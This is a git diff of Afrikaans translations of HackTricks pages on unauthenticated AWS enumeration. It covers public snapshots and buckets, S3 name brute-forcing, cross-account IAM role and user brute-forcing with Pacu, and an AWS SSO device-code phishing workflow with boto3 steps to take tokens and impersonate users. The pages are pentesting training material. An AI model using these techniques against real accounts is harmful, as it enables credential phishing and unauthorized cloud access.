a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md index 0b93df617..8fe13db71 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -10,6 +10,6 @@ Vir meer inligting, kyk: ../aws-services/aws-dynamodb-enum.md {{#endref}} -Behalwe om toegang te gee tot alle AWS of sommige gecompromitteerde eksterne AWS-rekeninge, of om 'n paar SQL-inspuitings in 'n toepassing wat met DynamoDB kommunikeer te hê, weet ek nie van meer opsies om toegang tot AWS-rekeninge vanaf DynamoDB te verkry nie. +Behalwe om toegang te gee tot alle AWS of 'n paar gecompromitteerde eksterne AWS-rekeninge, of om 'n paar SQL-inspuitings in 'n toepassing wat met DynamoDB kommunikeer te hê, weet ek nie van meer opsies om toegang tot AWS-rekeninge vanaf DynamoDB te verkry nie. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md index 681acd5d2..59c670a34 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -1,8 +1,8 @@ -# AWS - EC2 Unauthenticated Enum +# AWS - EC2 Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} -## EC2 & Related Services +## EC2 & Verwante Dienste Kyk op hierdie bladsy vir meer inligting oor dit: @@ -10,9 +10,9 @@ Kyk op hierdie bladsy vir meer inligting oor dit: ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### Public Ports +### Publieke Poorte -Dit is moontlik om die **enige poort van die virtuele masjiene aan die internet bloot te stel**. Afhangende van **wat loop** in die blootgestelde poort, kan 'n aanvaller dit misbruik. +Dit is moontlik om die **enige poort van die virtuele masjiene aan die internet bloot te stel**. Afhangende van **wat loop** op die blootgestelde poort, kan 'n aanvaller dit misbruik. #### SSRF @@ -20,7 +20,7 @@ Dit is moontlik om die **enige poort van die virtuele masjiene aan die internet https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} -### Public AMIs & EBS Snapshots +### Publieke AMIs & EBS Snapshot AWS laat toe om **toegang aan enigiemand te gee om AMIs en Snapshots af te laai**. Jy kan hierdie hulpbronne baie maklik vanaf jou eie rekening lys: ```bash @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -As jy 'n snapshot vind wat deur enigiemand herstel kan word, maak seker om [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) na te gaan vir riglyne oor die aflaai en plundering van die snapshot. +As jy 'n snapshot vind wat deur enigiemand herstel kan word, maak seker om [AWS - EBS Snapshot Dump](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump) te kontroleer vir riglyne oor die aflaai en plundering van die snapshot. #### Publieke URL-sjabloon ```bash @@ -47,7 +47,7 @@ ec2-{ip-seperated}.compute-1.amazonaws.com http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 https://{user_provided}-{random_id}.{region}.elb.amazonaws.com ``` -### Lys EC2-instansies met openbare IP +### Enumereer EC2-instanse met openbare IP ```bash aws ec2 describe-instances --query "Reservations[].Instances[?PublicIpAddress!=null].PublicIpAddress" --output text ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md index eefa936ca..e94c03780 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECR Unauthenticated Enum +# AWS - ECR Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} @@ -12,12 +12,12 @@ Vir meer inligting, kyk: ### Publieke registrasie repositories (beelde) -Soos genoem in die ECS Enum afdeling, is 'n publieke registrasie **toeganklik vir enigiemand** en gebruik die formaat **`public.ecr.aws//`**. As 'n publieke repository URL deur 'n aanvaller gevind word, kan hy **die beeld aflaai en soek na sensitiewe inligting** in die metadata en inhoud van die beeld. +Soos genoem in die ECS Enum afdeling, is 'n publieke registrasie **toeganklik vir enigiemand** en gebruik die formaat **`public.ecr.aws//`**. As 'n aanvaller 'n publieke repository URL vind, kan hy **die beeld aflaai en soek na sensitiewe inligting** in die metadata en inhoud van die beeld. ```bash aws ecr describe-repositories --query 'repositories[?repositoryUriPublic == `true`].repositoryName' --output text ``` > [!WARNING] -> Dit kan ook gebeur in **privaat registries** waar 'n registry-beleid of 'n repository-beleid **toegang verleen byvoorbeeld aan `"AWS": "*"`**. Enigeen met 'n AWS-rekening kan toegang tot daardie repo verkry. +> Dit kan ook gebeur in **privaat registries** waar 'n registry beleid of 'n repository beleid **toegang verleen byvoorbeeld aan `"AWS": "*"`**. Enigeen met 'n AWS-rekening kan toegang tot daardie repo verkry. ### Enumereer Privaat Repo diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md index b482812c6..ff7e393f7 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - ECS Unauthenticated Enum +# AWS - ECS Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md index 181799793..3dbcbabd1 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md @@ -20,9 +20,9 @@ Die formaat van die Beanstalk webbladsye is **`https://-env. > `aws sts assume-role --role-arn arn:aws:iam::412345678909:role/superadmin --role-session-name s3-access-example` -Die poging om **'n rol aan te neem sonder die nodige toestemmings** aktiveer 'n AWS-foutboodskap. Byvoorbeeld, as jy nie gemagtig is nie, kan AWS teruggee: +Probeer om **'n rol aan te neem sonder die nodige toestemmings** aktiveer 'n AWS foutboodskap. Byvoorbeeld, as jy nie gemagtig is nie, kan AWS teruggee: ```ruby An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::012345678901:user/MyUser is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::111111111111:role/aws-service-role/rds.amazonaws.com/AWSServiceRoleForRDS ``` -Hierdie boodskap bevestig die rol se bestaan, maar dui aan dat sy aanneemrolbeleid nie jou aanneming toelaat nie. In teenstelling hiermee, probeer om **'n nie-bestaande rol aan te neem lei tot 'n ander fout**: +Hierdie boodskap bevestig die rol se bestaan, maar dui aan dat sy aanname rolbeleid nie jou aanname toelaat nie. In teenstelling hiermee, probeer om **'n nie-bestaande rol aan te neem lei tot 'n ander fout**: ```less An error occurred (AccessDenied) when calling the AssumeRole operation: Not authorized to perform sts:AssumeRole ``` @@ -27,12 +27,12 @@ Interessant genoeg is hierdie metode van **onderskeiding tussen bestaande en nie Jy kan hierdie [script gebruik om potensiële principals op te noem](https://github.com/RhinoSecurityLabs/Security-Research/tree/master/tools/aws-pentest-tools/assume_role_enum) wat hierdie probleem misbruik. -### Trust Policies: Brute-Force Cross Account rolle en gebruikers +### Vertrou Beleide: Brute-Force Kruisrekening rolle en gebruikers -Om 'n **IAM rol se trust beleid te konfigureer of op te dateer, behels dit die definisie van watter AWS hulpbronne of dienste toegelaat word om daardie rol aan te neem** en tydelike kredensiale te verkry. As die gespesifiseerde hulpbron in die beleid **bestaande** is, stoor die trust beleid **suksesvol**. As die hulpbron egter **nie bestaan nie**, word 'n **fout gegenereer**, wat aandui dat 'n ongeldige principal verskaf is. +Om 'n **IAM rol se vertrou beleid te konfigureer of op te dateer, behels dit om te definieer watter AWS hulpbronne of dienste toegelaat word om daardie rol aan te neem** en tydelike kredensiale te verkry. As die gespesifiseerde hulpbron in die beleid **bestaande** is, stoor die vertrou beleid **suksesvol**. As die hulpbron egter **nie bestaan nie**, word 'n **fout gegenereer**, wat aandui dat 'n ongeldige principal verskaf is. > [!WARNING] -> Let daarop dat jy in daardie hulpbron 'n cross account rol of gebruiker kan spesifiseer: +> Let daarop dat jy in daardie hulpbron 'n kruisrekening rol of gebruiker kan spesifiseer: > > - `arn:aws:iam::acc_id:role/role_name` > - `arn:aws:iam::acc_id:user/user_name` @@ -91,7 +91,7 @@ aws iam create-role --role-name Test-Role --assume-role-policy-document file://a aws iam create-role --role-name Test-Role2 --assume-role-policy-document file://a.json An error occurred (MalformedPolicyDocument) when calling the CreateRole operation: Invalid principal in policy: "AWS":"arn:aws:iam::316584767888:role/account-balanceefd23f2" ``` -You can automate this process with [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) +U kan hierdie proses outomaties maak met [https://github.com/carlospolop/aws_tools](https://github.com/carlospolop/aws_tools) - `bash unauth_iam.sh -t user -i 316584767888 -r TestRole -w ./unauth_wordlist.txt` @@ -99,11 +99,11 @@ Ons gebruik [Pacu](https://github.com/RhinoSecurityLabs/pacu): - `run iam__enum_users --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` - `run iam__enum_roles --role-name admin --account-id 229736458923 --word-list /tmp/names.txt` -- Die `admin` rol wat in die voorbeeld gebruik word, is 'n **rol in jou rekening wat deur pacu geïmpersonifieer moet word** om die beleide te skep wat dit nodig het om vir die enumerasie te skep +- Die `admin` rol wat in die voorbeeld gebruik word, is 'n **rol in jou rekening wat deur pacu geïmplementeer kan word** om die beleide te skep wat dit nodig het om vir die enumerasie te skep ### Privesc -In die geval dat die rol sleg gekonfigureer was en enige iemand toelaat om dit aan te neem: +In die geval dat die rol sleg gekonfigureer is en enige iemand toelaat om dit aan te neem: ```json { "Version": "2012-10-17", @@ -122,7 +122,7 @@ Die aanvaller kan dit net aanvaar. ## Derdeparty OIDC Federasie -Stel jou voor dat jy daarin slaag om 'n **Github Actions workflow** te lees wat toegang het tot 'n **rol** binne **AWS**.\ +Stel jou voor dat jy daarin slaag om 'n **Github Actions workflow** te lees wat toegang verkry tot 'n **rol** binne **AWS**.\ Hierdie vertroue mag toegang gee tot 'n rol met die volgende **vertrouensbeleid**: ```json { @@ -144,7 +144,7 @@ Hierdie vertroue mag toegang gee tot 'n rol met die volgende **vertrouensbeleid* } ``` Hierdie vertrouensbeleid mag korrek wees, maar die **gebrek aan meer voorwaardes** behoort jou te laat wantrou.\ -Dit is omdat die vorige rol deur **ENIGEEN van Github Actions** aanvaar kan word! Jy moet ook ander dinge soos org naam, repo naam, omgewing, tak in die voorwaardes spesifiseer... +Dit is omdat die vorige rol deur **ENIGEEN van Github Actions** aanvaar kan word! Jy moet ook ander dinge soos organisasienaam, repo naam, omgewing, tak in die voorwaardes spesifiseer... 'n Ander potensiële miskonfigurasie is om **'n voorwaarde** soos die volgende by te voeg: ```json @@ -152,7 +152,7 @@ Dit is omdat die vorige rol deur **ENIGEEN van Github Actions** aanvaar kan word "token.actions.githubusercontent.com:sub": "repo:org_name*:*" } ``` -Let op dat **wildcard** (\*) voor die **kolon** (:). Jy kan 'n org soos **org_name1** skep en **die rol aanvaar** vanaf 'n Github Action. +Let wel dat **wildcard** (\*) voor die **kolon** (:). Jy kan 'n org soos **org_name1** skep en **die rol aanvaar** vanaf 'n Github Action. ## Verwysings diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md index 6f9b9e7cb..c964fb094 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md @@ -4,7 +4,7 @@ ## AWS Toestelkode Phishing -Aanvanklik voorgestel in [**hierdie blogpos**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), dit is moontlik om 'n **skakel** na 'n gebruiker te stuur wat AWS SSO gebruik, wat, indien die **gebruiker aanvaar**, die aanvaller in staat sal stel om 'n **token te verkry om die gebruiker na te boots** en toegang te verkry tot al die rolle wat die gebruiker kan benader in die **Identiteitsentrum**. +Aanvanklik voorgestel in [**hierdie blogpos**](https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/), dit is moontlik om 'n **skakel** na 'n gebruiker te stuur wat AWS SSO gebruik, wat, indien die **gebruiker aanvaar**, die aanvaller in staat sal stel om 'n **token te verkry om die gebruiker na te boots** en toegang te verkry tot al die rolle wat die gebruiker kan toegang hê in die **Identiteitsentrum**. Om hierdie aanval uit te voer, is die vereistes: @@ -75,7 +75,7 @@ sso_token = token_response.get('accessToken') ``` Die SSO toegangstoken is **geldigheid vir 8h**. -5. **Verpersoonlik die gebruiker** +5. **Imiteer die gebruiker** ```python sso_client = boto3.client('sso', region_name=REGION) @@ -104,7 +104,7 @@ sts_creds.get('roleCredentials') ``` ### Phishing die onphishbare MFA -Dit is lekker om te weet dat die vorige aanval **werk selfs as 'n "onphishbare MFA" (webAuth) gebruik word**. Dit is omdat die vorige **werkstroom nooit die gebruikte OAuth-domein verlaat nie**. Nie soos in ander phishing-aanvalle waar die gebruiker die aanmeld-domein moet vervang nie, in die geval is die toestelkode werkstroom voorberei sodat 'n **kode bekend is aan 'n toestel** en die gebruiker kan aanmeld selfs op 'n ander masjien. As die prompt aanvaar word, kan die toestel, net deur **die aanvanklike kode te ken**, **akkrediteer** vir die gebruiker. +Dit is lekker om te weet dat die vorige aanval **werk selfs al word 'n "onphishbare MFA" (webAuth) gebruik**. Dit is omdat die vorige **werkstroom nooit die gebruikte OAuth-domein verlaat nie**. Nie soos in ander phishing-aanvalle waar die gebruiker die aanmeld-domein moet vervang nie, in die geval is die toestelkode werkstroom voorberei sodat 'n **kode bekend is aan 'n toestel** en die gebruiker kan aanmeld selfs op 'n ander masjien. As die prompt aanvaar word, kan die toestel, net deur **die aanvanklike kode te ken**, **akkrediteer** vir die gebruiker **herwin**. Vir meer inligting oor hierdie [**kyk hierdie pos**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md index 778c09277..e4e43861a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - IoT Unauthenticated Enum +# AWS - IoT Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index e3b566b17..9d3f96d09 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -1,4 +1,4 @@ -# AWS - Lambda Unauthenticated Access +# AWS - Lambda Ongeauthentiseerde Toegang {{#include ../../../banners/hacktricks-training.md}} @@ -12,7 +12,7 @@ https://{random_id}.lambda-url.{region}.on.aws/ ``` ### Kry rekening ID van openbare Lambda URL -Net soos met S3-buckets, Data Exchange en API-gateways, is dit moontlik om die rekening ID van 'n rekening te vind wat die **`aws:ResourceAccount`** **Beleidstoestand Sleutel** van 'n openbare lambda URL misbruik. Dit word gedoen deur die rekening ID een karakter op 'n slag te vind deur gebruik te maak van wildcard in die **`aws:ResourceAccount`** afdeling van die beleid.\ +Net soos met S3-buckets, Data Exchange en API-gateways, is dit moontlik om die rekening ID van 'n rekening te vind wat die **`aws:ResourceAccount`** **Policy Condition Key** van 'n openbare lambda URL misbruik. Dit word gedoen deur die rekening ID een karakter op 'n slag te vind deur gebruik te maak van wildcard in die **`aws:ResourceAccount`** afdeling van die beleid.\ Hierdie tegniek laat ook toe om **waardes van etikette** te kry as jy die etiket sleutel ken (daar is 'n paar standaard interessante). Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 24c2e92de..54008bc5f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - MQ Unauthenticated Enum +# AWS - MQ Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} @@ -6,13 +6,13 @@ ### **RabbitMQ** -In die geval van **RabbitMQ** is **publieke toegang** en ssl standaard geaktiveer. Maar jy het **akkrediteer** nodig om toegang te verkry (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Boonop is dit moontlik om die **webbestuurskonsol** te benader as jy die akkrediteer weet in `https://b-.mq.us-east-1.amazonaws.com/` +In die geval van **RabbitMQ**, is **publieke toegang** en ssl standaard geaktiveer. Maar jy het **akkrediteer** nodig om toegang te verkry (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Boonop is dit moontlik om die **webbestuurskonsol** te **benader** as jy die akkrediteer in `https://b-.mq.us-east-1.amazonaws.com/` ken. ### ActiveMQ -In die geval van **ActiveMQ** is publieke toegang en ssl standaard geaktiveer, maar jy het akkrediteer nodig om toegang te verkry. +In die geval van **ActiveMQ**, is publieke toegang en ssl standaard geaktiveer, maar jy het akkrediteer nodig om toegang te verkry. -### Publieke URL-sjabloon +### Publieke URL sjabloon ``` https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162/ ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index f06943858..e93b806df 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -1,10 +1,10 @@ -# AWS - MSK Unauthenticated Enum +# AWS - MSK Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} ### Publieke Poort -Dit is moontlik om die **Kafka broker aan die publiek bloot te stel**, maar jy sal **akkrediteer** nodig hê, IAM-toestemmings of 'n geldige sertifikaat (afhangende van die geconfigureerde outentikasie metode). +Dit is moontlik om die **Kafka-broker aan die publiek bloot te stel**, maar jy sal **akkrediteer** nodig hê, IAM-toestemmings of 'n geldige sertifikaat (afhangende van die geconfigureerde outentikasie metode). Dit is ook **moontlik om outentikasie te deaktiveer**, maar in daardie geval is dit **nie moontlik om die poort direk aan die Internet bloot te stel** nie. diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 2f99337df..55e316012 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -12,11 +12,11 @@ Vir meer inligting, kyk: ## Publieke Poort -Dit is moontlik om publieke toegang tot die **databasis vanaf die internet** te gee. Die aanvaller sal steeds moet **weet wat die gebruikersnaam en wagwoord is,** IAM-toegang, of 'n **exploit** om in die databasis in te kom. +Dit is moontlik om publieke toegang tot die **databasis vanaf die internet** te gee. Die aanvaller sal steeds moet **weet wat die gebruikersnaam en wagwoord is,** IAM-toegang hê, of 'n **exploit** hê om in die databasis te kom. -## Publieke RDS-snapshots +## Publieke RDS Snapshot -AWS laat toe om **toegang aan enigiemand te gee om RDS-snapshots af te laai**. Jy kan hierdie publieke RDS-snapshots baie maklik vanaf jou eie rekening lys: +AWS laat toe dat **enige iemand toegang het om RDS-snapshots af te laai**. Jy kan hierdie publieke RDS-snapshots baie maklik vanaf jou eie rekening lys: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md index dad1f81d7..363ac7fdb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - Redshift Unauthenticated Enum +# AWS - Redshift Ongeauthentiseerde Enum {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index 928750488..c2e96a6e9 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -6,9 +6,9 @@ 'n Emmer word beskou as **“publiek”** as **enige gebruiker die inhoud** van die emmer kan lys, en **“privaat”** as die emmer se inhoud **slegs deur sekere gebruikers gelys of geskryf kan word**. -Maatskappye mag **emmer toestemmings verkeerd geconfigureer** hê wat toegang gee tot alles of tot almal wat in AWS geverifieer is in enige rekening (dus vir enige iemand). Let daarop dat selfs met sulke misconfigurasies sommige aksies dalk nie uitgevoer kan word nie, aangesien emmers hul eie toegangbeheerlyste (ACLs) mag hê. +Maatskappye mag **emmer toestemmings verkeerd geconfigureer** hê wat toegang gee ofwel tot alles of tot almal wat in AWS geverifieer is in enige rekening (dus vir enige iemand). Let daarop dat selfs met sulke misconfigurasies sommige aksies dalk nie uitgevoer kan word nie, aangesien emmers hul eie toegangbeheerlyste (ACLs) mag hê. -**Leer meer oor AWS-S3 misconfigurasie hier:** [**http://flaws.cloud**](http://flaws.cloud/) **en** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Leer oor AWS-S3 misconfigurasie hier:** [**http://flaws.cloud**](http://flaws.cloud/) **en** [**http://flaws2.cloud/**](http://flaws2.cloud) ### Vind AWS Emmers @@ -26,8 +26,8 @@ http://[bucket_name].s3.amazonaws.com/ ``` - Kyk vir **CNAMES** soos `resources.domain.com` mag die CNAME `bucket.s3.amazonaws.com` hê -- Kyk [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), 'n web met reeds **ontdekke oop emmers**. -- Die **emmer naam** en die **emmer domeinnaam** moet **diezelfde wees.** +- Kyk [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), 'n web met reeds **ontdekte oop emmers**. +- Die **emmer naam** en die **emmer domeinnaam** moet **dieselfde wees.** - **flaws.cloud** is in **IP** 52.92.181.107 en as jy daarheen gaan, lei dit jou na [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Ook, `dig -x 52.92.181.107` gee `s3-website-us-west-2.amazonaws.com`. - Om te kyk of dit 'n emmer is, kan jy ook **besoek** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). @@ -65,7 +65,7 @@ goaltdns -l /tmp/words-hosts-s3.txt -w /tmp/words-s3.txt -o /tmp/final-words-s3. cat /tmp/final-words-s3.txt.temp2 | sed -E 's/\.[a-zA-Z0-9]+$//' > /tmp/final-words-s3.txt.temp3 ### Skep lys sonder punte cat /tmp/final-words-s3.txt.temp3 | tr -d "." > /tmp/final-words-s3.txt.temp4http://phantom.s3.amazonaws.com/ -### Skep lys sonder koppelteken +### Skep lys sonder koppelpunte cat /tmp/final-words-s3.txt.temp3 | tr "." "-" > /tmp/final-words-s3.txt.temp5 ## Genereer die finale woordlys @@ -95,7 +95,7 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Kontroleer dat die opgeloste domein die woord "website" bevat.\ +Kontroleer dat die opgeloste domein die woord "website" het.\ Jy kan die statiese webwerf bereik deur te gaan na: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ of jy kan die emmer bereik deur te besoek: `flaws.cloud.s3-us-west-2.amazonaws.com` @@ -105,9 +105,9 @@ As jy probeer om toegang tot 'n emmer te verkry, maar in die **domeinnaam spesif ![](<../../../images/image (106).png>) -### Om die emmer te enumereer +### Die emmer op te som -Om die oopheid van die emmer te toets, kan 'n gebruiker net die URL in hul webblaaier invoer. 'n Privaat emmer sal met "Toegang geweier" antwoordgee. 'n Publieke emmer sal die eerste 1,000 voorwerpe wat gestoor is, lys. +Om die oopheid van die emmer te toets, kan 'n gebruiker net die URL in hul webblaaier invoer. 'n Privaat emmer sal met "Toegang Weier" antwoordgee. 'n Publieke emmer sal die eerste 1,000 voorwerpe lys wat gestoor is. Oop vir almal: @@ -146,11 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -Hierdie tegniek werk ook met API Gateway-URL's, Lambda-URL's, Data Exchange-data stelle en selfs om die waarde van etikette te verkry (as jy die etiket sleutel ken). Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. +Hierdie tegniek werk ook met API Gateway URL's, Lambda URL's, Data Exchange datastelle en selfs om die waarde van etikette te verkry (as jy die etiket sleutel ken). Jy kan meer inligting vind in die [**oorspronklike navorsing**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) en die hulpmiddel [**conditional-love**](https://github.com/plerionhq/conditional-love/) om hierdie uitbuiting te outomatiseer. ### Bevestiging dat 'n emmer aan 'n AWS-rekening behoort -Soos verduidelik in [**hierdie blogpos**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, as jy toestemmings het om 'n emmer te lys** is dit moontlik om 'n accountID te bevestig waaraan die emmer behoort deur 'n versoek soos die volgende te stuur: +Soos verduidelik in [**hierdie blogpos**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, as jy toestemmings het om 'n emmer te lys** is dit moontlik om 'n accountID te bevestig waaraan die emmer behoort deur 'n versoek soos: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -158,11 +158,11 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -If the error is an “Access Denied” it means that the account ID was wrong. +As die fout 'n "Toegang geweier" is, beteken dit dat die rekening ID verkeerd was. -### Used Emails as root account enumeration +### Gebruik van e-posse as wortelrekening enumerasie -Soos verduidelik in [**hierdie blogpos**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), is dit moontlik om te kyk of 'n e-posadres verband hou met enige AWS-rekening deur **te probeer om 'n e-pos toestemming te gee** oor 'n S3-bucket via ACLs. As dit nie 'n fout veroorsaak nie, beteken dit dat die e-pos 'n root-gebruiker van 'n AWS-rekening is: +Soos verduidelik in [**hierdie blogpos**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), is dit moontlik om te kyk of 'n e-posadres verband hou met enige AWS-rekening deur **te probeer om 'n e-pos toestemming te gee** oor 'n S3-bucket via ACLs. As dit nie 'n fout veroorsaak nie, beteken dit dat die e-pos 'n wortelgebruiker van 'n of ander 